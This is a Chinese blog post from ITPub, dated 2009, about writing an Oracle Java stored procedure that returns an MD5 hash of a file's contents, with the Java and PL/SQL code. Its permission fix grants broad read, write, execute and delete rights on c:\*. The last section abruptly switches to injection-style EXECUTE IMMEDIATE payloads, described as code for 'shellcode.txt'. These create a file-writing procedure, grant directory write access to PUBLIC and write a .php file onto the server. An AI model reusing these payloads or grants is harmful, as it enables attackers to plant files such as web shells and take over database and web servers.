ITPub博客

首页 > Linux操作系统 > Linux操作系统 > java存储过程根据文件的内容返回一个MD5值

java存储过程根据文件的内容返回一个MD5值

原创 Linux操作系统 作者:zhanglincon 时间:2009-04-30 16:22:29 0 删除 编辑

今天要做一个java存储过程,实现功能:根据文件的内容返回一个MD5值。

开发工具:Eclipse+PL/SQL Developer

步骤如下:
1. 编写Java源代码,并装载到Oracle 8i数据库

create or replace and compile java source named java_md5 as
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.AccessControlException;

public class Java_MD5
{
  private final static String[] hexDigits = {"0", "1", "2", "3", "4",  
      "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"};

  /**
   * 根据带路径的文件名返回文件内容的字符串
   * @param fileName
   * @return
   */
  /*private static String readFile(String fileName) {
      String s = "";
      StringBuffer sb = new StringBuffer();
      File inFile = new File(fileName);
      BufferedReader in = null;
      try {
        in = new BufferedReader(new InputStreamReader(new FileInputStream(inFile),"EUC_CN"));
      }
      catch (Exception e) {
        e.printStackTrace();
      }
      try {
        while ( (s = in.readLine()) != null) {
             sb.append(s);
        }
        in.close();
      }
      catch (Exception e) {
        e.printStackTrace();
      }
     
      return sb.toString();
    }
  */
 
    private static String readFile(String fileName) {

 File inFile = new File(fileName);

 if(inFile.exists()){//检查File.txt是否存在
       String s = "";
       StringBuffer sb = new StringBuffer();
       //File inFile = new File(fileName);
       BufferedReader in = null;
       try {
         in = new BufferedReader(new InputStreamReader(new FileInputStream(inFile),"EUC_CN"));
       }
       catch (Exception e) {
         e.printStackTrace();
       }
       try {
         while ( (s = in.readLine()) != null) {
              sb.append(s);
         }
         in.close();
       }
       catch (Exception e) {
         e.printStackTrace();
       }
       return sb.toString();
 }else{
  return "66";
 }
}
  /**  
   * 转换字节数组为十六进制字符串 
   * @param     字节数组 
   * @return    十六进制字符串 
   */ 
  private static String byteArrayToHexString(byte[] b){  
      StringBuffer resultSb = new StringBuffer();  
      for (int i = 0; i < b.length; i++){  
          resultSb.append(byteToHexString(b[i]));  
      }  
      return resultSb.toString();  
  }
 
  /** 将一个字节转化成十六进制形式的字符串     */ 
  private static String byteToHexString(byte b){  
      int n = b;  
      if (n < 0)  
          n = 256 + n;  
      int d1 = n / 16;  
      int d2 = n % 16;  
      return hexDigits[d1] + hexDigits[d2];  
  }  

  public static String MD5( String FileName )
  {
    try
    {
       String newString=Java_MD5.readFile( FileName );
     
        //创建具有指定算法名称的信息摘要
    MessageDigest md = MessageDigest.getInstance( "MD5" );
    
    //使用指定的字节数组对摘要进行最后更新,然后完成摘要计算
    byte[] mymd5 = md.digest(newString.getBytes());
    
    //将得到的字节数组变成字符串返回
    String resultString = byteArrayToHexString(mymd5);   
    
    return resultString.toUpperCase();
   } catch (NoSuchAlgorithmException e) {
    
    return "0";
   }
   /*    catch(AccessControlException ex){
    return "0";
   }*/
  }
}

2,建立包规范和包体

create or replace package PK_Check is

    Function Fn_File_MD5( iFileName In Varchar2 ) Return Varchar2;
   
end PK_Check;

create or replace package body PK_Check is

Function Fn_File_MD5( iFileName In Varchar2 ) Return Varchar2 As Language Java Name 'Java_MD5.MD5( java.lang.String ) return java.lang.String';

begin
     Null;
end PK_Check;

 

3,调用JSP

在生成了调用Java方法的包后,就可以调用这些方法所对应的函数和过程了。例如:

begin
  -- Call the function
  :result := pk_check.fn_file_md5(ifilename => :ifilename);
end;

但是在测试过程中总是报如下错误

ORA-29532: Java 调用被未捕获的 Java 例外终止: java.security.AccessControlException: the Permission (java.io.FilePermission c:\c.txt read) has not been granted by dbms_java.grant_permission to SchemaProtectionDomain(AAT|PolicyTableProxy(AAT))

没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的

1,检查你的执行用户的权限

select * from user_java_policy

2,赋权限

begin dbms_java.grant_Permission('AAT','java.io.FilePermission','c:\*','read,write,execute,delete');end;

这样就OK了!

    各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。
    当然,当数据库在本机的时候,利用系统中存在的utl_file包写一个文件也是可以的。这里提供简单的,可以作为shellcode.txt里运行的代码

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type;begin    fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line);    if (utl_file.is_open(fd) = true) then        utl_file.fclose(fd);    end if;end;'';END;';

    这是创建能写文件的utlwritefile存储过程,注意这里的目录是oracle里的虚拟目录,不是物理目录,我们需要自己创建一个虚拟目录并且给予相关的权限

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/'''''';END;';

    这里假设需要写东西到f:/inc里,建立了个utl_dir_new的oracle目录,然后给权限

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public;'';END;';

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test'''');end;'';END;';

    注意UTL_DIR_NEW的大小写,这里写了个test到UTL_DIR_NEW里面的1.php里。

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/8554499/viewspace-592384/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2009-03-24

  • 博文量
    79
  • 访问量
    206172